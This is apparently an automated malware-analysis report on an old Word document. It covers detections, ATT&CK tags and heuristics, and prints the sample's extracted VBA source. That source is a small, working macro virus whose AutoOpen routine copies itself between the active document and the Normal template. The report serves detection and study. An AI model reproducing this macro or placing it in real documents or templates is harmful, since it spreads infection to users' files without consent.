MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a legacy Word document containing a VBA macro named 'ExampleVirus'. The AutoOpen macro logic suggests an attempt to copy itself to the Normal template or the active document, indicating a persistence mechanism. The presence of legacy WordBasic markers and the file's age further support its nature as a potentially older malware sample.
Heuristics 4
-
ClamAV: Doc.Trojan.Example-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Example-4
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 983 bytes |
SHA-256: 4119dfc21db0b34c8b5c2b51543add67720560cbb8bdd41e921eccd0778fb531 |
|||
|
Detection
ClamAV:
Doc.Trojan.Example-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "ExampleVirus" Sub AutoOpen() '1st line: if the active document's name is Normal then '2nd line: copy the macro ExampleVirus from the active document to the normal template; the macro is a project item '3rd line: but if the name of the active document ain't normal.dot then '4th line: copy the macro ExampleVirus from the notmal template to the active document; the macro is a project item If UCase(ThisDocument.Name) = "NORMAL.DOT" Then Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "ExampleVirus", wdOrganizerObjectProjectItems Else Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "ExampleVirus", wdOrganizerObjectProjectItems End If End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.